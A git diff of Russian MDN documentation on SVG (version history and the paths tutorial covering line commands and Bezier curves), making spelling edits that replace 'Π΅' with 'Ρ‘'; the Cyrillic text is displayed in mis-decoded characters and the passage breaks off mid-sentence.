-<p>ΠšΡ€ΠΎΠΌΠ΅ ΠΏΠΎΠ»Π½Ρ‹Ρ… Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ SVG, рабочая Π³Ρ€ΡƒΠΏΠΏΠ° ΠΏΡ€ΠΈ W3C Π²Π²Π΅Π»Π° SVG Tiny ΠΈ SVG Basic Π² 2003 Π³ΠΎΠ΄Ρƒ. Π­Ρ‚ΠΈ Π΄Π²Π΅ вСрсии Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹ Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ, SVG Tiny, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ графичСскиС ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ для Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… устройств с Π½ΠΈΠ·ΠΊΠΈΠΌΠΈ возмоТностями. SVG Basic ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ с ΠΏΠΎΠ»Π½Ρ‹ΠΌ SVG, Π½ΠΎ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ тяТСлыми для воспроизвСдСния (ΠΊΠ°ΠΊ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ). Π’ 2008, SVG Tiny 1.2 стала Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠ΅ΠΉ W3C.</p>
+<p>ΠšΡ€ΠΎΠΌΠ΅ ΠΏΠΎΠ»Π½Ρ‹Ρ… Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΉ SVG, рабочая Π³Ρ€ΡƒΠΏΠΏΠ° ΠΏΡ€ΠΈ W3C Π²Π²Π΅Π»Π° SVG Tiny ΠΈ SVG Basic Π² 2003 Π³ΠΎΠ΄Ρƒ. Π­Ρ‚ΠΈ Π΄Π²Π΅ вСрсии Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹ Π³Π»Π°Π²Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ, SVG Tiny, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π΄Π°Π²Π°Ρ‚ΡŒ графичСскиС ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ для Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… устройств с Π½ΠΈΠ·ΠΊΠΈΠΌΠΈ возмоТностями. SVG Basic ΠΈΠΌΠ΅Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‰Π΅Π³ΠΎ с ΠΏΠΎΠ»Π½Ρ‹ΠΌ SVG, Π½ΠΎ Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Π΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, Ρ‡Ρ‚ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½Ρ‹ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈΠ»ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ тяТёлыми для воспроизвСдСния (ΠΊΠ°ΠΊ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ). Π’ 2008, SVG Tiny 1.2 стала Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠ΅ΠΉ W3C.</p>
<p>БущСствовали ΠΏΠ»Π°Π½Ρ‹ для спСцификации SVG Print, которая ΠΈΠΌΠ΅Π»Π° Π±Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ для мноТСства страниц ΠΈ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½Π½ΠΎΠ΅ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚ΠΎΠΌ. Π­Ρ‚Π° Ρ€Π°Π±ΠΎΡ‚Π° Π±Ρ‹Π»Π° ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π΅Π½Π°.</p>
diff --git a/files/ru/web/svg/tutorial/paths/index.html b/files/ru/web/svg/tutorial/paths/index.html
index ba35db7a9a..05ddefc879 100644
--- a/files/ru/web/svg/tutorial/paths/index.html
+++ b/files/ru/web/svg/tutorial/paths/index.html
@@ -19,7 +19,7 @@ translation_of: Web/SVG/Tutorial/Paths
<h2 id="ΠšΠΎΠΌΠ°Π½Π΄Ρ‹_Π»ΠΈΠ½ΠΈΠΈ">ΠšΠΎΠΌΠ°Π½Π΄Ρ‹ Π»ΠΈΠ½ΠΈΠΈ</h2>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΏΡΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄ Π»ΠΈΠ½ΠΈΠΈ для ΡƒΠ·Π»ΠΎΠ² <code>&lt;path&gt;</code>.Β  ΠŸΠ΅Ρ€Π²Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π° - это "ΠŸΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡΒ ΠΊ", ΠΈΠ»ΠΈ M, описанная Π²Ρ‹ΡˆΠ΅. Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΎΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹Β Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ пСрСмСщаСтся. Если курсор ΡƒΠΆΠ΅ Π±Ρ‹Π» Π³Π΄Π΅-Π»ΠΈΠ±ΠΎ Π½Π° страницС, ΠΌΠ΅ΠΆΠ΄Ρƒ старым ΠΈ Π½ΠΎΠ²Ρ‹ΠΌ мСстом линия Π½Π΅ появится. Команда "ΠŸΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡΒ ΠΊ" ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π½Π°Ρ‡Π°Π»Π΅ элСмСнта <code>&lt;path&gt;</code> для указания Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΎΡ‚ΠΊΡƒΠ΄Π° начнСтся рисованиС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΏΡΡ‚ΡŒ ΠΊΠΎΠΌΠ°Π½Π΄ Π»ΠΈΠ½ΠΈΠΈ для ΡƒΠ·Π»ΠΎΠ² <code>&lt;path&gt;</code>.Β  ΠŸΠ΅Ρ€Π²Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π° - это "ΠŸΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡΒ ΠΊ", ΠΈΠ»ΠΈ M, описанная Π²Ρ‹ΡˆΠ΅. Π’ качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΎΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹Β Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ пСрСмСщаСтся. Если курсор ΡƒΠΆΠ΅ Π±Ρ‹Π» Π³Π΄Π΅-Π»ΠΈΠ±ΠΎ Π½Π° страницС, ΠΌΠ΅ΠΆΠ΄Ρƒ старым ΠΈ Π½ΠΎΠ²Ρ‹ΠΌ мСстом линия Π½Π΅ появится. Команда "ΠŸΠ΅Ρ€Π΅ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΡΡΒ ΠΊ" ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Π½Π°Ρ‡Π°Π»Π΅ элСмСнта <code>&lt;path&gt;</code> для указания Ρ‚ΠΎΡ‡ΠΊΠΈ, ΠΎΡ‚ΠΊΡƒΠ΄Π° начнётся рисованиС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre>M x y
</pre>
@@ -52,7 +52,7 @@ translation_of: Web/SVG/Tutorial/Paths
V y (ΠΈΠ»ΠΈ v dy)
</pre>
-<p>НачнСм с рисования простой Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° (Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΆΠ΅, ΠΊΠ°ΠΊΠΎΠΉ ΠΏΡ€ΠΎΡ‰Π΅ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта <code>&lt;rect&gt;</code>). Он состоит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ· Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ<span style="line-height: 1.5;">:</span></p>
+<p>Начнём с рисования простой Ρ„ΠΎΡ€ΠΌΡ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ° (Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΆΠ΅, ΠΊΠ°ΠΊΠΎΠΉ ΠΏΡ€ΠΎΡ‰Π΅ Π½Π°Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта <code>&lt;rect&gt;</code>). Он состоит Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΈΠ· Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΈ Π²Π΅Ρ€Ρ‚ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ<span style="line-height: 1.5;">:</span></p>
<p><img alt="" class="internal" src="/@api/deki/files/292/=Path_Line_Commands.png" style="float: right;"></p>
@@ -68,7 +68,7 @@ translation_of: Web/SVG/Tutorial/Paths
&lt;/svg&gt;</pre>
-<p>ΠΠ°ΡˆΡƒ запись Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ "Π—Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΏΡƒΡ‚ΡŒ", <code>Z</code>. Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° рисуСт ΠΏΡ€ΡΠΌΡƒΡŽ линию ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ полоТСния ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΏΡƒΡ‚ΠΈ. Она часто встрСчаСтся Π² ΠΊΠΎΠ½Ρ†Π΅ ΡƒΠ·Π»Π° ΠΏΡƒΡ‚ΠΈ, хотя ΠΈ Π½Π΅ всСгда. Для Π½Π΅Π΅ рСгистр Π±ΡƒΠΊΠ²Ρ‹ Π½Π΅ Π²Π°ΠΆΠ΅Π½.</p>
+<p>ΠΠ°ΡˆΡƒ запись Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠΎΠΊΡ€Π°Ρ‚ΠΈΡ‚ΡŒ , ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡΒ ΠΊΠΎΠΌΠ°Π½Π΄ΡƒΒ "Π—Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΏΡƒΡ‚ΡŒ", <code>Z</code>. Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° рисуСт ΠΏΡ€ΡΠΌΡƒΡŽ линию ΠΎΡ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ полоТСния ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅ ΠΏΡƒΡ‚ΠΈ. Она часто встрСчаСтся Π² ΠΊΠΎΠ½Ρ†Π΅ ΡƒΠ·Π»Π° ΠΏΡƒΡ‚ΠΈ, хотя ΠΈ Π½Π΅ всСгда. Для Π½Π΅Ρ‘ рСгистр Π±ΡƒΠΊΠ²Ρ‹ Π½Π΅ Π²Π°ΠΆΠ΅Π½.</p>
<pre> Z (ΠΈΠ»ΠΈ z)
</pre>
@@ -83,13 +83,13 @@ translation_of: Web/SVG/Tutorial/Paths
<pre class="brush: xml"> &lt;path d="M10 10 h 80 v 80 h -80 Z" fill="transparent" stroke="black"/&gt;
</pre>
-<p>ΠŸΡƒΡ‚ΡŒ начнСтся ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈΒ (10,10), ΠΏΠΎΠΉΠ΄Π΅Ρ‚ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π½Π° 80 Ρ‚ΠΎΡ‡Π΅ΠΊ Π²ΠΏΡ€Π°Π²ΠΎ, Π·Π°Ρ‚Π΅ΠΌ 80 Ρ‚ΠΎΡ‡Π΅ΠΊ Π²Π½ΠΈΠ·, Π·Π°Ρ‚Π΅ΠΌ 80 Ρ‚ΠΎΡ‡Π΅ΠΊ Π²Π»Π΅Π²ΠΎ, ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊ старту.</p>
+<p>ΠŸΡƒΡ‚ΡŒ начнётся ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈΒ (10,10), ΠΏΠΎΠΉΠ΄Ρ‘Ρ‚ Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π½Π° 80 Ρ‚ΠΎΡ‡Π΅ΠΊ Π²ΠΏΡ€Π°Π²ΠΎ, Π·Π°Ρ‚Π΅ΠΌ 80 Ρ‚ΠΎΡ‡Π΅ΠΊ Π²Π½ΠΈΠ·, Π·Π°Ρ‚Π΅ΠΌ 80 Ρ‚ΠΎΡ‡Π΅ΠΊ Π²Π»Π΅Π²ΠΎ, ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ ΠΊ старту.</p>
<p>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π² этих ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты <code>&lt;polygon&gt;</code> ΠΈΠ»ΠΈ <code>&lt;polyline&gt;</code>.<code>Β </code>Однако, ΠΏΡƒΡ‚ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ рисовании SVG Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ часто, Ρ‡Ρ‚ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄ΠΎΠ±Π½Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… вмСсто Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов.  НСт Π½ΠΈΠΊΠ°ΠΊΠΎΠΉ Ρ€Π°Π·Π½ΠΈΡ†Ρ‹ Π² ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΏΡ€ΠΈ использовании Ρ‚ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ.</p>
<h2 id="ΠšΠΎΠΌΠ°Π½Π΄Ρ‹_ΠΊΡ€ΠΈΠ²Ρ‹Ρ…_Π»ΠΈΠ½ΠΈΠΉ">ΠšΠΎΠΌΠ°Π½Π΄Ρ‹ ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ</h2>
-<p>БущСствуСт Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания ΠΏΠ»Π°Π²Π½Ρ‹Ρ… ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ. Π”Π²Π΅ ΠΈΠ· этих ΠΊΡ€ΠΈΠ²Ρ‹Ρ… - ΠΊΡ€ΠΈΠ²Ρ‹Π΅ Π‘Π΅Π·ΡŒΠ΅, Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΡ - "Π΄ΡƒΠ³Π°", ΠΈΠ»ΠΈ Ρ‡Π°ΡΡ‚ΡŒ окруТности. Π’Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ ΠΈΠΌΠ΅Π»ΠΈ практичСский ΠΎΠΏΡ‹Ρ‚ с ΠΊΡ€ΠΈΠ²Ρ‹ΠΌΠΈ Π‘Π΅Π·ΡŒΠ΅, Ссли Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ с путями (paths)Β Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ… lnkscape, Illustrator ΠΈΠ»ΠΈ Photoshop. Для ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ описания матСматичСских понятий ΠΎ ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΏΠΎ ссылкС Π½Π°Β <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅Β ΡΠ»ΠΈΡˆΠΊΠΎΠΌ ΠΌΠ½ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ Π΅Π΅ здСсь. БущСствуСт бСсчислСнноС мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π΅ простыС доступны для элСмСнтов ΠΏΡƒΡ‚Π΅ΠΉ: кубичСская, C, ΠΈ квадратная, Q.</p>
+<p>БущСствуСт Ρ‚Ρ€ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для создания ΠΏΠ»Π°Π²Π½Ρ‹Ρ… ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π»ΠΈΠ½ΠΈΠΉ. Π”Π²Π΅ ΠΈΠ· этих ΠΊΡ€ΠΈΠ²Ρ‹Ρ… - ΠΊΡ€ΠΈΠ²Ρ‹Π΅ Π‘Π΅Π·ΡŒΠ΅, Π° Ρ‚Ρ€Π΅Ρ‚ΡŒΡ - "Π΄ΡƒΠ³Π°", ΠΈΠ»ΠΈ Ρ‡Π°ΡΡ‚ΡŒ окруТности. Π’Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΡƒΠΆΠ΅ ΠΈΠΌΠ΅Π»ΠΈ практичСский ΠΎΠΏΡ‹Ρ‚ с ΠΊΡ€ΠΈΠ²Ρ‹ΠΌΠΈ Π‘Π΅Π·ΡŒΠ΅, Ссли Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ с путями (paths)Β Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ… lnkscape, Illustrator ΠΈΠ»ΠΈ Photoshop. Для ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ описания матСматичСских понятий ΠΎ ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΎΠΉΡ‚ΠΈ ΠΏΠΎ ссылкС Π½Π°Β <a class="external" href="http://en.wikipedia.org/wiki/B%C3%A9zier_curve">Wikipedia</a>. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅Β ΡΠ»ΠΈΡˆΠΊΠΎΠΌ ΠΌΠ½ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ ΠΎΡ…Π²Π°Ρ‚ΠΈΡ‚ΡŒ Π΅Ρ‘ здСсь. БущСствуСт бСсчислСнноС мноТСство Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² ΠΊΡ€ΠΈΠ²Ρ‹Ρ… Π‘Π΅Π·ΡŒΠ΅, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π΅ простыС доступны для элСмСнтов ΠΏΡƒΡ‚Π΅ΠΉ: кубичСская, C, ΠΈ квадратная, Q.</p>
<h3 id="ΠšΡ€ΠΈΠ²Ρ‹Π΅_Π‘Π΅Π·ΡŒΠ΅">ΠšΡ€ΠΈΠ²Ρ‹Π΅ Π‘Π΅Π·ΡŒΠ΅</h3>
@@ -98,7 +98,7 @@ translation_of: Web/SVG/Tutorial/Paths
<pre> C x1 y1, x2 y2, x y (or c dx1 dy1, dx2 dy2, dx dy)
</pre>
-<p>ПослСдний Π½Π°Π±ΠΎΡ€ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Β (x,y) это Ρ‚ΠΎΡ‡ΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ заканчиваСтся линия. Π”Π²Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ - ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ.Β (x1,y1) ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° для Π½Π°Ρ‡Π°Π»Π° вашСй ΠΊΡ€ΠΈΠ²ΠΎΠΉ, Π° (x2,y2) для ΠΊΠΎΠ½Ρ†Π° вашСй ΠΊΡ€ΠΈΠ²ΠΎΠΉ. Если Π²Ρ‹ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π°Π»Π³Π΅Π±Ρ€ΠΎΠΉ, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π½Π°ΠΊΠ»ΠΎΠ½ вашСй Π»ΠΈΠ½ΠΈΠΈ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅. Ѐункция Π‘Π΅Π·ΡŒΠ΅ создаСт ΠΏΠ»Π°Π²Π½ΡƒΡŽ ΠΊΡ€ΠΈΠ²ΡƒΡŽ, которая Π²Π΅Π΄Π΅Ρ‚ ΠΎΡ‚ Π½Π°ΠΊΠ»ΠΎΠ½Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ установили Π² Π½Π°Ρ‡Π°Π»Π΅ вашСй Π»ΠΈΠ½ΠΈΠΈ ΠΊ Π½Π°ΠΊΠ»ΠΎΠ½Ρƒ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ ΠΊΠΎΠ½Ρ†Π΅.</p>
+<p>ПослСдний Π½Π°Π±ΠΎΡ€ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Β (x,y) это Ρ‚ΠΎΡ‡ΠΊΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ заканчиваСтся линия. Π”Π²Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ - ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ.Β (x1,y1) ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° для Π½Π°Ρ‡Π°Π»Π° вашСй ΠΊΡ€ΠΈΠ²ΠΎΠΉ, Π° (x2,y2) для ΠΊΠΎΠ½Ρ†Π° вашСй ΠΊΡ€ΠΈΠ²ΠΎΠΉ. Если Π²Ρ‹ Π·Π½Π°ΠΊΠΎΠΌΡ‹ с Π²Ρ‹Ρ‡ΠΈΡΠ»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ Π°Π»Π³Π΅Π±Ρ€ΠΎΠΉ, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚ΠΎΡ‡ΠΊΠΈ Π² ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ Π½Π°ΠΊΠ»ΠΎΠ½ вашСй Π»ΠΈΠ½ΠΈΠΈ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠ΅. Ѐункция Π‘Π΅Π·ΡŒΠ΅ создаёт ΠΏΠ»Π°Π²Π½ΡƒΡŽ 